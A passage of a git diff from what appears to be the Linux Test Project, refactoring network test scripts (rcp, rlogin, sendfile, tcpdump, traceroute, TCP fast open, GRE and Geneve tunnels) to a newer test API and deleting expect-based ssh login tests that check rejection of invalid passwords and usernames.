+    if ! rsh -n -l root $RHOST mkdir -p $TCtmp >/dev/null 2>&1; then
         end_testcase "Remote mkdir failed"
     fi
 
@@ -83,7 +83,7 @@
         rsh -n -l root $RHOST "rm -f $TCtmp/$j"
         sleep $SLEEPTIME
 
-        if [ "$SUM1 = $SUM2" ]; then
+        if [ "$SUM1" = "$SUM2" ]; then
             tst_resm TINFO "rcp $TCdat/$j $RHOST:$TCtmp/$j successful"
         else
             end_testcase "FAILED: wrong sum in transfer to $RHOST"
@@ -96,7 +96,7 @@
     for j in $FILES; do
 
         tst_resm TINFO "remote copying $RHOST:$TCdat/$j to $TCtmp/$j"
-        if ! rcp $RHOST:$TCdat/$j $TCtmp/$j 2>&1 1>/dev/null; then
+        if ! rcp $RHOST:$TCdat/$j $TCtmp/$j >/dev/null 2>&1; then
             tst_resm TFAIL "Failed to rcp file."; continue
         fi
 
diff --git a/testcases/network/tcp_cmds/rlogin/rlogin01 b/testcases/network/tcp_cmds/rlogin/rlogin01
index 162b8f0..b570c5d 100755
--- a/testcases/network/tcp_cmds/rlogin/rlogin01
+++ b/testcases/network/tcp_cmds/rlogin/rlogin01
@@ -20,11 +20,12 @@
 TCID="rlogin01"
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 setup()
 {
-	tst_check_cmds rlogin expect
+	tst_test_cmds rlogin expect
 
 	if [ -z $RUSER ]; then
 		RUSER=root
diff --git a/testcases/network/tcp_cmds/sendfile/sendfile01 b/testcases/network/tcp_cmds/sendfile/sendfile01
index 98e4f44..1677ec3 100755
--- a/testcases/network/tcp_cmds/sendfile/sendfile01
+++ b/testcases/network/tcp_cmds/sendfile/sendfile01
@@ -47,7 +47,7 @@
 
 	FILES=${FILES:-"ascii.sm ascii.med ascii.lg ascii.jmb"}
 
-	tst_check_cmds diff stat
+	tst_test_cmds diff stat
 
 	tst_tmpdir
 }
@@ -102,7 +102,8 @@
 	tst_rmdir
 }
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup
 do_test
diff --git a/testcases/network/tcp_cmds/ssh/Makefile b/testcases/network/tcp_cmds/ssh/Makefile
deleted file mode 100644
index 8ce99e0..0000000
--- a/testcases/network/tcp_cmds/ssh/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    network/tcp_cmds/ssh testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= ssh*
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/ssh/ssh01 b/testcases/network/tcp_cmds/ssh/ssh01
deleted file mode 100755
index 5c5432b..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh01
+++ /dev/null
@@ -1,57 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh rejects an invalid password
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#
-# DESCRIPTION:
-#	Create test user
-#	Make sure test user can't login with invalid password
-#	Cleanup test user from system
-#	Exit with exit code of script called upon
-
-setup()
-{
-	tst_check_cmds ssh01_s1
-	export TEST_USER="ssh_usr1"
-}
-
-TCID="ssh01"
-TST_TOTAL=1
-
-. test.sh
-. ssh_setup
-
-setup
-do_setup
-TST_CLEANUP=do_cleanup
-
-ssh01_s1
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ssh/ssh01_s1 b/testcases/network/tcp_cmds/ssh/ssh01_s1
deleted file mode 100755
index ab86e2a..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh01_s1
+++ /dev/null
@@ -1,72 +0,0 @@
-#! /usr/bin/expect -f
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh rejects an invalid password
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#
-#
-set RHOST $env(RHOST)
-set TEST_USER $env(TEST_USER)
-set TEST_USER_PASSWD $env(TEST_USER_PASSWD)
-
-set RUSER $TEST_USER
-set PASSWD $TEST_USER_PASSWD
-
-set timeout 90
-
-#test invalid password
-
-send_user "TEST: SSH Test Invalid Password \n"
-
-# Set PASSWD to an invalid password
-set PASSWD "invalid_password!"
-
-spawn ssh -l $RUSER $RHOST whoami
-
-while 1 {
-	sleep 2
-	expect {
-
-		"Are you sure you want to continue connecting (yes/no)?" {
-			exp_send "yes\r"
-		}
-		"assword:" {
-			exp_send "$PASSWD\r"
-		}
-		-re "Permission denied (.*)\." {
-			send_user "SSH would not allow $RUSER to login with\
-				   invalid password, Test Passed \n"
-			send_user "\nTEST_PASSED\n"
-			exit 0
-		}
-		"$RUSER" {
-			send_user "SSH allowed $RUSER to login with invalid\
-				   pass, Test Failed \n"
-			exit 1
-		}
-	}
-	sleep 1
-}
-
-exit 1
diff --git a/testcases/network/tcp_cmds/ssh/ssh02 b/testcases/network/tcp_cmds/ssh/ssh02
deleted file mode 100755
index f6ea5b2..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh02
+++ /dev/null
@@ -1,57 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh rejects an invalid username
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#
-# DESCRIPTION:
-#	Create Test User
-#	Make sure an invalid user can not have access
-#	Cleanup Test User from system
-#	Exit with exit code of script called upon
-
-setup()
-{
-	tst_check_cmds ssh02_s1
-	export TEST_USER="ssh_usr2"
-}
-
-TCID="ssh02"
-TST_TOTAL=1
-
-. test.sh
-. ssh_setup
-
-setup
-do_setup
-TST_CLEANUP=do_cleanup
-
-ssh02_s1
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ssh/ssh02_s1 b/testcases/network/tcp_cmds/ssh/ssh02_s1
deleted file mode 100755
index cf95709..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh02_s1
+++ /dev/null
@@ -1,73 +0,0 @@
-#! /usr/bin/expect -f
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh rejects an invalid username
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#    05/03 Dustin Kirkland (k1rkland@us.ibm.com)
-#
-#
-set RHOST $env(RHOST)
-set TEST_USER $env(TEST_USER)
-set TEST_USER_PASSWD $env(TEST_USER_PASSWD)
-
-set RUSER $TEST_USER
-set PASSWD $TEST_USER_PASSWD
-
-set timeout 90
-
-#test invalid username
-
-send_user "TEST: Test to see if ssh rejects Invalid User \n"
-
-# Set RUSER to an invalid user
-set RUSER "Invaild_User"
-
-spawn ssh -l $RUSER $RHOST whoami
-
-while 1 {
-	sleep 2
-	expect {
-
-		"Are you sure you want to continue connecting (yes/no)?" {
-			exp_send "yes\r"
-		}
-		"assword:" {
-			exp_send "$PASSWD\r"
-		}
-		-re "Permission denied (.*)\." {
-			send_user "SSH would not allow $RUSER to login with\
-				   invalid password, Test Passed \n"
-			send_user "\nTEST_PASSED\n"
-			exit 0
-		}
-		"$RUSER" {
-			send_user "SSH allowed $RUSER to login with invalid\
-				   pass, Test Failed \n"
-			exit 1
-		}
-	}
-	sleep 1
-}
-
-exit 1
diff --git a/testcases/network/tcp_cmds/ssh/ssh03 b/testcases/network/tcp_cmds/ssh/ssh03
deleted file mode 100755
index 65dce1c..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh03
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh allows a valid username (non-root)
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#
-
-setup()
-{
-	tst_check_cmds ssh03_s1
-	export TEST_USER="ssh_usr3"
-}
-
-TCID="ssh03"
-TST_TOTAL=1
-
-. test.sh
-. ssh_setup
-
-setup
-do_setup
-TST_CLEANUP=do_cleanup
-
-ssh03_s1
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Test $TCID FAIL"
-else
-	tst_resm TPASS "Test $TCID PASS"
-fi
-
-tst_exit
diff --git a/testcases/network/tcp_cmds/ssh/ssh03_s1 b/testcases/network/tcp_cmds/ssh/ssh03_s1
deleted file mode 100755
index e3f8ceb..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh03_s1
+++ /dev/null
@@ -1,67 +0,0 @@
-#! /usr/bin/expect -f
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : ssh
-#
-#  PURPOSE: Tests to see that ssh accepts a valid user (non-root)
-#
-#  SETUP: The program `/usr/bin/expect' MUST be installed.
-#
-#  HISTORY:
-#    03/03 Jerone Young (jeroney@us.ibm.com)
-#
-#
-set RHOST $env(RHOST)
-set TEST_USER $env(TEST_USER)
-set TEST_USER_PASSWD $env(TEST_USER_PASSWD)
-
-set RUSER $TEST_USER
-set PASSWD $TEST_USER_PASSWD
-
-set timeout 90
-
-#test valid username
-
-send_user "TEST: SSH allow (non-root) valid User \n"
-
-spawn ssh -l $RUSER $RHOST whoami
-
-while 1 {
-	sleep 2
-	expect {
-
-		"Are you sure you want to continue connecting (yes/no)?" {
-			exp_send "yes\r"
-		}
-		"assword:" {
-			exp_send "$PASSWD\r"
-		}
-		-re "Permission denied (.*)\." {
-			send_user "\nSSH would not allow $RUSER to login, Test\
-				   FAILED \n"
-			exit 1
-		}
-		"$RUSER" {
-			send_user "SSH allowed $RUSER to login, Test PASSED \n"
-			exit 0
-		}
-	}
-	sleep 1
-}
-
-exit 1
diff --git a/testcases/network/tcp_cmds/ssh/ssh_setup b/testcases/network/tcp_cmds/ssh/ssh_setup
deleted file mode 100755
index ad6cb99..0000000
--- a/testcases/network/tcp_cmds/ssh/ssh_setup
+++ /dev/null
@@ -1,54 +0,0 @@
-#!/bin/sh
-################################################################################
-## Copyright (c) International Business Machines  Corp., 2000                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and/or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful,            ##
-## but WITHOUT ANY WARRANTY;  without even the implied warranty of            ##
-## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  ##
-## the GNU General Public License for more details.                           ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
-
-do_setup()
-{
-	export RHOST="localhost"
-	export TEST_USER_PASSWD="now_this_is_a_good_ltp_test_password"
-	export TEST_USER_HOMEDIR="/home/$TEST_USER"
-
-	tst_check_cmds expect ssh useradd userdel
-
-	# erase user if he/she already exists, so we can have a clean env
-	do_cleanup
-	sleep 1
-
-	if ! useradd -m -d "$TEST_USER_HOMEDIR" $TEST_USER; then
-		tst_brkm TBROK "Failed to add user $TEST_USER to system $RHOST."
-	fi
-
-	echo "$TEST_USER:$TEST_USER_PASSWD" | chpasswd
-
-	# create users home diretory (SLES 8 does not do this, even when
-	# specified in adduser)
-	if [ ! -d "$TEST_USER_HOMEDIR" ]; then
-		USER_UID=$(id -u $TEST_USER)
-		USER_GID=$(id -g $TEST_USER)
-		if ! mkdir -p "$TEST_USER_HOMEDIR"; then
-			tst_brkm TBROK "Failed to create $TEST_USER_HOMEDIR"
-		fi
-		chown -Rf $USER_UID.$USER_GID "$TEST_USER_HOMEDIR"
-	fi
-}
-
-do_cleanup()
-{
-	userdel -r $TEST_USER 2> /dev/null
-}
diff --git a/testcases/network/tcp_cmds/tcpdump/tcpdump01 b/testcases/network/tcp_cmds/tcpdump/tcpdump01
index 6ed8e25..e8ecdec 100755
--- a/testcases/network/tcp_cmds/tcpdump/tcpdump01
+++ b/testcases/network/tcp_cmds/tcpdump/tcpdump01
@@ -29,7 +29,7 @@
 do_setup()
 {
 	ping_cmd=ping$TST_IPV6
-	tst_check_cmds tcpdump kill $ping_cmd
+	tst_test_cmds tcpdump kill $ping_cmd
 	outfile="tcpdump_out"
 	numloops=20
 	tst_tmpdir
@@ -64,7 +64,8 @@
 	tst_rmdir
 }
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup
 do_test
diff --git a/testcases/network/tcp_cmds/telnet/telnet01 b/testcases/network/tcp_cmds/telnet/telnet01
index f2f2444..d87cc8b 100755
--- a/testcases/network/tcp_cmds/telnet/telnet01
+++ b/testcases/network/tcp_cmds/telnet/telnet01
@@ -20,11 +20,12 @@
 TCID="telnet01"
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 setup()
 {
-	tst_check_cmds telnet expect
+	tst_test_cmds telnet expect
 
 	if [ -z $RUSER ]; then
 		RUSER=root
diff --git a/testcases/network/tcp_cmds/tracepath/tracepath01.sh b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
index f1662f5..fcfd54a 100755
--- a/testcases/network/tcp_cmds/tracepath/tracepath01.sh
+++ b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
@@ -18,7 +18,8 @@
 
 TCID=tracepath01
 TST_TOTAL=1
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 test_tracepath()
 {
@@ -27,7 +28,7 @@
 	local output=
 	local ret=0
 	local rhost="$2"
-	tst_check_cmds "$cmd"
+	tst_test_cmds "$cmd"
 
 	tst_resm TINFO "test $cmd with $rhost, pmtu is $len"
 
diff --git a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
index e9094fc..7c79d6d 100755
--- a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
+++ b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
@@ -1,49 +1,39 @@
 #!/bin/sh
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved.
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
 
-TST_NETLOAD_MAX_SRV_REPLIES=3
-TST_TOTAL=1
-TCID="tcp_fastopen"
+TST_SETUP="setup"
+TST_TESTFUNC="test"
+TST_CNT=2
+TST_CLEANUP="cleanup"
+TST_MIN_KVER="3.7"
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="tc"
+TST_OPTS="R:"
+TST_USAGE=tcp_fastopen_usage
+TST_PARSE_ARGS=tcp_fastopen_parse_args
 
-. test_net.sh
+srv_replies=3
 
-while getopts :hr:n:R:6 opt; do
-	case "$opt" in
-	h)
-		echo "Usage:"
-		echo "h        help"
-		echo "R x      num of requests, after which conn. closed"
-		echo "6        run over IPv6"
-		exit 0
-	;;
-	R) TST_NETLOAD_MAX_SRV_REPLIES=$OPTARG ;;
-	6) # skip, test_net library already processed it
-	;;
-	*) tst_brkm TBROK "unknown option: $opt" ;;
+tcp_fastopen_usage()
+{
+	echo "-R x    Number of requests, after which connection is closed"
+}
+
+tcp_fastopen_parse_args()
+{
+	case "$1" in
+	R) srv_replies=$2 ;;
 	esac
-done
+}
+
+. tst_net.sh
 
 cleanup()
 {
-	tst_rmdir
 	tc qdisc del dev $(tst_iface) root netem delay 100 >/dev/null
 }
 
@@ -52,44 +42,44 @@
 	tfo_cmp=$(( 100 - ($time_tfo_on * 100) / $time_tfo_off ))
 
 	if [ "$tfo_cmp" -lt 3 ]; then
-		tst_resm TFAIL "$1 perf result is '$tfo_cmp' percent"
+		tst_res TFAIL "$1 perf result is '$tfo_cmp' percent"
 	else
-		tst_resm TPASS "$1 perf result is '$tfo_cmp' percent"
+		tst_res TPASS "$1 perf result is '$tfo_cmp' percent"
 	fi
 }
 
-tst_require_root
+setup()
+{
+	if tst_kvcmp -lt "3.16" && [ "$TST_IPV6" ]; then
+		tst_brk TCONF "test must be run with kernel 3.16 or newer"
+	fi
 
-if tst_kvcmp -lt "3.7"; then
-	tst_brkm TCONF "test must be run with kernel 3.7 or newer"
-fi
+	ROD tc qdisc add dev $(tst_iface) root netem delay 100
+}
 
-if tst_kvcmp -lt "3.16" && [ "$TST_IPV6" ]; then
-	tst_brkm TCONF "test must be run with kernel 3.16 or newer"
-fi
+test1()
+{
+	tst_res TINFO "using old TCP API and set tcp_fastopen to '0'"
+	tst_netload -H $(tst_ipaddr rhost) -t 0 -R $srv_replies
+	time_tfo_off=$(cat tst_netload.res)
 
-trap "tst_brkm TBROK 'test interrupted'" INT
-TST_CLEANUP="cleanup"
+	tst_res TINFO "using new TCP API and set tcp_fastopen to '3'"
+	tst_netload -H $(tst_ipaddr rhost) -f -t 3 -R $srv_replies
+	time_tfo_on=$(cat tst_netload.res)
 
-ROD tc qdisc add dev $(tst_iface) root netem delay 100
+	compare
+}
 
-tst_resm TINFO "using old TCP API and set tcp_fastopen to '0'"
-tst_netload -H $(tst_ipaddr rhost) -t 0
-time_tfo_off=$(cat tst_netload.res)
+test2()
+{
+	tst_kvcmp -lt "4.11" && \
+		tst_brk TCONF "next test must be run with kernel 4.11 or newer"
 
-tst_resm TINFO "using new TCP API and set tcp_fastopen to '3'"
-tst_netload -H $(tst_ipaddr rhost) -f -t 3
-time_tfo_on=$(cat tst_netload.res)
+	tst_res TINFO "using connect() and TCP_FASTOPEN_CONNECT socket option"
+	tst_netload -H $(tst_ipaddr rhost) -F -t 3 -R $srv_replies
+	time_tfo_on=$(cat tst_netload.res)
 
-compare
+	compare
+}
 
-tst_kvcmp -lt "4.11" && \
-	tst_brkm TCONF "next test must be run with kernel 4.11 or newer"
-
-tst_resm TINFO "using connect() and TCP_FASTOPEN_CONNECT socket option"
-tst_netload -H $(tst_ipaddr rhost) -F -t 3
-time_tfo_on=$(cat tst_netload.res)
-
-compare
-
-tst_exit
+tst_run
diff --git a/testcases/network/traceroute/traceroute01.sh b/testcases/network/traceroute/traceroute01.sh
index 0475969..1c8b66f 100755
--- a/testcases/network/traceroute/traceroute01.sh
+++ b/testcases/network/traceroute/traceroute01.sh
@@ -19,7 +19,8 @@
 TCID="traceroute01"
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 cleanup()
 {
@@ -31,7 +32,7 @@
 	tst_resm TINFO "traceroute version:"
 	tst_resm TINFO $(traceroute --version 2>&1)
 
-	tst_check_cmds traceroute
+	tst_test_cmds traceroute
 	tst_tmpdir
 }
 
@@ -39,6 +40,7 @@
 {
 	local opts="$@"
 	local ip=$(tst_ipaddr rhost)
+	local pattern="^[ ]+1[ ]+$ip([ ]+[0-9]+[.][0-9]+ ms){3}"
 
 	# According to man pages, default sizes:
 	local bytes=60
@@ -54,11 +56,10 @@
 		tst_resm TPASS "traceroute use $bytes bytes"
 	fi
 
-	tail -1 out.log | grep -qE "^[ ]+1[ ]+$ip([ ]+[0-9]+[.][0-9]+ ms){3}"
+	tail -1 out.log | grep -qE "$pattern"
 	if [ $? -ne 0 ]; then
 		cat out.log
-		tst_resm TFAIL "^[ ]+1[ ]+$ip([ ]+[0-9]+[.][0-9]+ ms){3}' "
-			"pattern not found in log"
+		tst_resm TFAIL "pattern '$pattern' not found in log"
 	else
 		tst_resm TPASS "traceroute test completed with 1 hop"
 	fi
diff --git a/testcases/network/virt/geneve01.sh b/testcases/network/virt/geneve01.sh
index 1e723d8..30cc4da 100755
--- a/testcases/network/virt/geneve01.sh
+++ b/testcases/network/virt/geneve01.sh
@@ -1,24 +1,13 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016-2017 Oracle and/or its affiliates.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=geneve01
-TST_TOTAL=1
 TST_NEEDS_TMPDIR=1
+TST_OPTS="hi:d:"
+TST_PARSE_ARGS=virt_lib_parse_args
+TST_NEEDS_DRIVERS="geneve"
 
 virt_type="geneve"
 start_id=16700000
@@ -27,27 +16,29 @@
 # that is why using here 'vxlan_*' library functions.
 vxlan_dst_addr="uni"
 
-. test_net.sh
+TST_TESTFUNC=do_test
+TST_CLEANUP=virt_cleanup
 . virt_lib.sh
 
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-160}
 [ "$VIRT_PERF_THRESHOLD" -lt 160 ] && VIRT_PERF_THRESHOLD=160
 
-TST_CLEANUP="virt_cleanup"
+do_test()
+{
+	if [ -z $ip_local -o -z $ip_remote ]; then
+		tst_brk TBROK "you must specify IP address"
+	fi
 
-if [ -z $ip_local -o -z $ip_remote ]; then
-	tst_brkm TBROK "you must specify IP address"
-fi
+	tst_res TINFO "the same VNI must work"
+	# VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
+	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFE"
+	virt_netperf_msg_sizes
+	virt_cleanup_rmt
 
-tst_resm TINFO "the same VNI must work"
-# VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
-vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFE"
-virt_netperf_msg_sizes
-virt_cleanup_rmt
+	tst_res TINFO "different VNI shall not work together"
+	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFD"
+	virt_minimize_timeout
+	virt_compare_netperf "fail"
+}
 
-tst_resm TINFO "different VNI shall not work together"
-vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFD"
-virt_minimize_timeout
-virt_compare_netperf "fail"
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/gre01.sh b/testcases/network/virt/gre01.sh
index bb2817d..27373fd 100755
--- a/testcases/network/virt/gre01.sh
+++ b/testcases/network/virt/gre01.sh
@@ -1,46 +1,32 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2015-2017 Oracle and/or its affiliates.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # It requires remote host. Test will setup IPv4 and IPv6 virtual
 # tunnel between two hosts, then will compare TCP performance
 # with and without GRE using ping or netstress test.
 
-TCID=gre01
-TST_TOTAL=1
 TST_NEEDS_TMPDIR=1
-
-. test_net.sh
-
-virt_type="gre"
-[ "$TST_IPV6" ] && virt_type="ip6gre"
-
+TST_TESTFUNC=virt_netperf_msg_sizes
+TST_SETUP=do_setup
+TST_CLEANUP=virt_cleanup
 . virt_lib.sh
 
-TST_CLEANUP="virt_cleanup"
+do_setup()
+{
+	virt_type="gre"
+	[ "$TST_IPV6" ] && virt_type="ip6gre"
+	virt_lib_setup
 
-if [ -z $ip_local -o -z $ip_remote ]; then
-	tst_brkm TBROK "you must specify IP address"
-fi
+	if [ -z $ip_local -o -z $ip_remote ]; then
+		tst_brk TBROK "you must specify IP address"
+	fi
 
